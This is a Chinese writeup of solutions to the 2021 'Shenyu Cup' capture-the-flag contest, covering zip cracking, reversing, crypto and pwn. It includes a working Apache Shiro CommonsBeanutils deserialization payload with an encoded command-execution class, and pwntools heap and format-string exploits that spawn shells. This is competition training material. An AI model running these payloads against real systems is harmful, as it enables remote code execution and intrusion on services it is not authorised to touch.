2021年"深育杯"网络安全大赛Writeup

Misc

签到题

下载附件得到一张二维码

1636785858546.png

扫码关注,后台回复签到即可获得flag

1636785941819.png

flag:

SangFor{AaKjtQr_OjJpdA3QwBV_ndsKdn3vPgc_}

Login

下载附件example.zip,打开是password.zip

1636786617187.png

但是需要密码,尝试爆破

1636786126543.png

此时发现了异常,打开明明只有一个password.zip文件,这里却检测到了两个加密文件,于是我们将压缩包用010 Editor打开分析一下

1636786353371.png

发现有伪加密,将此处以及后面一处的09改为00,保存之后再打开压缩包发现多了两个文件

1636786510411.png

其中示例-副本.txt能够打开,而示例.txt打开会提示需要输入密码

打开副本发现这就是 题目说的那个发邮件即可获得账号

1636786764037.png

但是发了几次邮件始终没有等到回信,后来发现重点不在这儿,既然这两个示例txt是一样的,那我们就可以采用ZIP明文攻击,来爆破出这个zip的密码。将示例-副本.txt拖出来,打包成zip,我们可以发现这两个zip中的示例-副本.txt的CRC32值是一样的

1636786929164.png

打开ARCHPR,将example.zip载入,然后载入示例 - 副本.zip

1636787398773.png

最终得到压缩包密码为:qwe@123

尝试打开password,但是发现数据错误,所以将刚刚的09改为00又重新复原为09

1636787448498.png

复原后,打开还是报错,最后才发现是我的7z出问题了,换用winrar成功用密码qwe@123打开password.zip

1636787545918.png
1636787632398.png

打开之后,里面有一个.password.swp,swp文件是vi编辑器异常退出后留下的文件,使用指令:vi -r .password.swp即可恢复文件,但是需要密码,这里还有三个txt文件,只有6个字节大小,尝试爆破crc32

脚本地址:https://github.com/theonlypwner/crc32

使用方法:python crc32.py reverse crc32值(crc32值前面注意要加0x)

运行三次之后分别得到三段疑似密码的明文

1636787839757.png
1636787911702.png
1636787961879.png

这三段组合起来就是welc0me_sangforctf,这应该就是密码了,成功解压.password.swp,将它移动到kali里,然后执行命令vi -r .password.swp

1636788254560.png

得到账号密码为:

Admin
5f4dcc3b5aa765d61d8327deb882cf99

回到题目尝试登录发现禁止查看源码

1636788356562.png

直接BurpSuite抓包,丢到重放器里面,发包即可看到回显,flag在注释里面

1636788405575.png

flag为:

Sangfor{ef3d229c-0d10-4d99-a768-ff41a4d624e7}

Web

weblog

有个文件下载,访问?logname=cb-0.0.1-SNAPSHOT.jar下载到源码

看pom

1636802545139.png

可以打cb1的shiro链子

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutilsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


    public static void main(String[] args) throws Exception {
//        TemplatesImpl obj = new TemplatesImpl();
//        setFieldValue(obj, "_bytecodes", new byte[][]{
//                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
//        });
//        setFieldValue(obj, "_name", "HelloTemplatesImpl");
//        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAuQoALwBfCgBgAGEKAGAAYggAYwoAZABlCABmBwBnCgAHAGgHAGkKAGoAawgAbAgAbQgAbggAbwgATQoABwBwCABxCABOBwByCgBqAHMIAFAIAHQKAHUAdgoAEwB3CAB4CgATAHkIAHoIAHsKABMAfAgAfQgAfggAfwgAgAoACQCBCACCBwCDCgCEAIUKAIQAhgoAhwCICgAkAIkIAIoKACQAiwoAJACMCACNCACOBwCPBwCQAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMcm9tZS9TcHJpbmdFdmlsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwCRAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAA1TdGFja01hcFRhYmxlBwCPBwBnBwCSBwBpBwByBwBTBwCTAQAKU291cmNlRmlsZQEAD1NwcmluZ0V2aWwuamF2YQwAQgBDBwCUDACVAJYMAJcAmAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcgcAmQwAmgCbAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAA9qYXZhL2xhbmcvQ2xhc3MMAJwAnQEAEGphdmEvbGFuZy9PYmplY3QHAJIMAJ4AnwEAQG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBAAtnZXRSZXNwb25zZQEACmdldFJlcXVlc3QBAB1qYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdAEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogEAB29zLm5hbWUHAKMMAKQApQwApgCnAQAGd2luZG93DACoAKkBAANHQksBAAVVVEYtOAwAqgCnAQADV0lOAQACL2MBAAcvYmluL3NoAQACLWMMAKsArAEAB3ByaW50bG4BABFqYXZhL3V0aWwvU2Nhbm5lcgcArQwArgCvDACwALEHALIMALMAtAwAQgC1AQACXEEMALYAtwwAuACnAQAFZmx1c2gBAAVjbG9zZQEAD3JvbWUvU3ByaW5nRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC3RvVXBwZXJDYXNlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0ACEALgAvAAAAAAADAAEAMAAxAAIAMgAAAD8AAAADAAAAAbEAAAACADMAAAAGAAEAAAAWADQAAAAgAAMAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAOQA6AAIAOwAAAAQAAQA8AAEAMAA9AAIAMgAAAEkAAAAEAAAAAbEAAAACADMAAAAGAAEAAAAbADQAAAAqAAQAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAPgA/AAIAAAABAEAAQQADADsAAAAEAAEAPAABAEIAQwACADIAAALDAAkADQAAAXsqtwABuAACtgADEgS2AAVMKxIGA70AB7YACE0sAQO9AAm2AApOuAACtgADEgu2AAVMKxIMA70AB7YACE0rEg0DvQAHtgAIOgQsLQO9AAm2AAo6BRkELQO9AAm2AAo6BrgAArYAAxIOtgAFEg8DvQAHtgAQOge4AAK2AAMSEbYABRISBL0AB1kDEhNTtgAQOggZCAS2ABQZBwS2ABQZBxkFA70ACbYACjoJGQgZBgS9AAlZAxIVU7YACsAAEzoKBr0AEzoLEha4ABe2ABgSGbYAGpkACBIbpwAFEhw6DBIWuAAXtgAdEh62ABqZABIZCwMSFVMZCwQSH1OnAA8ZCwMSIFMZCwQSIVMZCwUZClMZCbYAIhIjBL0AB1kDEhNTtgAQGQkEvQAJWQO7ACRZuAAlGQu2ACa2ACcZDLcAKBIptgAqtgArU7YAClcZCbYAIhIsA70AB7YAEBkJA70ACbYAClcZCbYAIhItA70AB7YAEBkJA70ACbYAClexAAAAAwAzAAAAbgAbAAAAHAAEAB0AEAAeABsAHwAlACAAMQAhADwAIgBIACMAUwAkAF8AJQB1ACYAkAAnAJYAKACcACkAqQAqAL4AKwDEACwA3QAtAO0ALgDzAC8A/AAxAQIAMgEIADQBDgA1AUoANgFiADcBegA4ADQAAACEAA0AAAF7ADUANgAAABABawBEAEUAAQAbAWAARgBHAAIAJQFWAEgASQADAEgBMwBKAEcABABTASgASwBJAAUAXwEcAEwASQAGAHUBBgBNAEcABwCQAOsATgBHAAgAqQDSAE8ASQAJAL4AvQBQAFEACgDEALcAUgBTAAsA3QCeAFQAUQAMAFUAAAA4AAT/ANkADAcAVgcAVwcAWAcAWQcAWAcAWQcAWQcAWAcAWAcAWQcAWgcAWwAAQQcAWvwAIAcAWgsAOwAAAAQAAQBcAAEAXQAAAAIAXg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        byte[] expcode = Base64.getEncoder().encode(barr.toByteArray());
        System.out.println(new String(expcode));
    }
}
1636803668905.png

Re

XOR_Exercise

F5丢进去一看,典型的ollvm混淆(很多while)

1636936910069.png
百度找到脚本deflat去除混淆,关键算法段如下
while ( 1 )
 {
  v12 = v6;
  flag = v6 < 64;
  while ( b >= 10 && ((((_BYTE)a - 1) * (_BYTE)a) & 1) != 0 );
  if ( !flag )
   break;
  do
   v14 = v6;
  while ( b>= 10 && ((((_BYTE)a - 1) * (_BYTE)a) & 1) != 0 );
  v15 = v9[v14];
  if ( v15 == 10 )
  {
   do
     v16 = v6;
   while ( b>= 10 && ((((_BYTE)a - 1) * (_BYTE)a) & 1) != 0 );
   v17 = &v9[v16];
   if ( b>= 10 && ((((_BYTE)a- 1) * (_BYTE)a) & 1) != 0 )
     goto Error;
   while ( 1 )
   {
     *v17 = 0;
     if ( b < 10 || ((((_BYTE)a- 1) * (_BYTE)a) & 1) == 0 )
      break;
LABEL_42:
     *v17 = 0;
   }
   goto LABEL_13;
  }
  v18 = v6;
v19 = ++v6;




脚本
\#include "stdafx.h"
int main(int argc, char* argv[])
{
      unsigned __int64 k=0xB1234B7679FC4B3D;
      unsigned __int64 map[] = {0x32E9A65483CC9671,0x0EC92A986A4AF329C,0x96C8259BC2AC4673,0x74BF5DCA4423530F,0x59D78EF8FDCBFAB1,0xA65257E5B13942B1};
      for(int i=0;i<6;i++){
          for(int j=0;j<64;j++){
              if(map[i]&1){
                   map[i]^=k;
                   map[i]>>=1;
                map[i]|=0x8000000000000000;
              }else{
                   map[i]>>=1;
              }
          }
      }
      for(int j=0;j<6;j++){
          printf("%8s",&map[j]);
     }
     getchar();
    return 0;
}

Lithops

这题有点像吾爱破解的某个cm,实质上就是考察字符集的转换,前面花里胡哨,不知道干啥,但是真正加密的地方就调用了一个api,就是ANSI->UTF8

clip_image002.jpg

Dump出UTF8字符,直接脚本解密

clip_image004.jpg

易语言在某些方面还是方便的

clip_image006.jpg

Cry

GeGe

原题,https://blog.soreatu.com/posts/an-introduction-to-ntruencrypt-through-a-ctf-challenge/这里贴个链接

改了一点,用脚本跑

image-20211113210707578.png

Pwn

find-flag

漏洞点在printf 处,printf(format)存在格式化字符串漏洞

在pwndbg中测试offset 偏移6+11为canary偏移 4+11为gadget偏移

先格式化字符串泄露出canary和pie 然后直接gets溢出打后门函数

from pwn import *
context.log_level = "debug"
io = remote("192.168.41.86","2001")
flag_offset = 0x1228

io.recvuntil("?")
io.sendline(b'%17$p%15$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
io.recvuntil("0x")
pie = int(io.recv(12),16) - 0x1140

flag = pie + flag_offset
payload2 = b'a'*0x38+p64(canary) + b'a'*8 + p64(flag)
io.sendline(payload2)

io.interactive()

write_book

2.27libc - 1.14

add delete edit show都存在

漏洞点在edit中 存在offset by NULL漏洞

直接 House Of Einherjar 打堆快重叠

然后利用重叠的堆快show出main_arena + 96的地址得到libc

最后利用堆块重叠打tcache attack

一开始是打mallochook 为onegadet 加了realloc调栈仍然没有通

最后直接打freehook为system 传入bin sh 参数 get shell

from pwn import *

libc  = ELF("./libc.so.6",checksec = 0)
p = remote('192.168.41.86','2002')
#p = process("./writebook")
def Add(size):     
        p.sendlineafter("> ",str(1))
        p.sendlineafter("> ",str(1))
        p.sendlineafter("size: ",str(size))
def Edit(page,content):
        p.sendlineafter("> ",str(2))
        p.sendlineafter("Page: ",str(page))
        p.sendlineafter("Content: ",content)
def Delete(page):
        p.sendlineafter("> ",str(4))
        p.sendlineafter("Page: ",str(page))
def Show(page):
        p.sendlineafter("> ",str(3))
        p.sendlineafter("Page: ",str(page))

for i in range(0,7):
        Add(0xf0)
Add(0xf0) 
Add(0xf0) 
Add(0xf0) 
Add(0xf0) 
Add(0x18) 
Add(0xf0) 
Add(0x18) 
Edit(11,p64(0)*2 + p64(0x400 + 0x20))
for i in range(0,7):
       Delete(i)
Delete(7)
Delete(12)
for i in range(0,7):
        Add(0xf0)
Add(0xf0)
Show(8)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena - 96 - 0x10
libc_base = malloc_hook - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
realloc =  libc_base + libc.sym["__libc_realloc"]
#setcontext =   libc_base + libc.sym["setcontext"]
one_gadget = [0x4f3d5,0x4f432,0x10a41c]

Add(0xf0) 
Add(0xf0) 
Delete(14)
Delete(12)
#Edit(8,p64(malloc_hook-0x10))
Edit(8,p64(free_hook-0x10))
Add(0xf0) 
Add(0xf0) 
#attack malloc
"""
payload = p64(0)*2 + p64(realloc+0x10) + p64(one_gadget[1]+libc_base)
Edit(14,payload)
#gdb.attach(p)
Add(0x18)
p.interactive()
"""

#attack free_hook
payload = p64(0)*2 + p64(system)
Edit(14,payload)
#gdb.attach(p)
Edit(12,"/bin/sh\x00")
Delete(12)
p.sendline("cat flag.txt")
flag = p.recvuntil("}")
print(flag)
p.interactive()

create_code

堆溢出,off-by-null打

from pwn import *
#p = process("./create_code")
p = remote("192.168.41.86",2007)
context.log_level = 'debug'
libc = ELF("./libc.so.6")
elf = ELF('./create_code')

def choice(c):
	p.recvuntil(">")
	p.sendline(str(c))

def add(content):
	choice(1)
	p.recvuntil(":")
	p.send(content)

def show(id):
	choice(2)
	p.recvuntil(":")
	p.sendline(str(id))

def free(id):
	choice(3)
	p.recvuntil(":")
	p.sendline(str(id))

add("a") #0
add("b") #1
add("c") #2
add("d") #3
free(0) 
add("a"*0x320+p64(0)+p64(0x661))
free(0)
add('a'*0x320+ p64(0) + p64(0x331)+p64(0x414141414141))
show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - libc.sym["__malloc_hook"] - 96 - 0x10
success("libc_base:"+hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]

free(1)
free(0)
free(0)
free(0)
add("a"*0x320+p64(0)+p64(0x331)+p64(free_hook-0x8))
add("a"*0x320+p64(0)+p64(0x331)+"/bin/sh\x00")
add("aaaa")
add(p64(system)*2)
free(0)

p.interactive()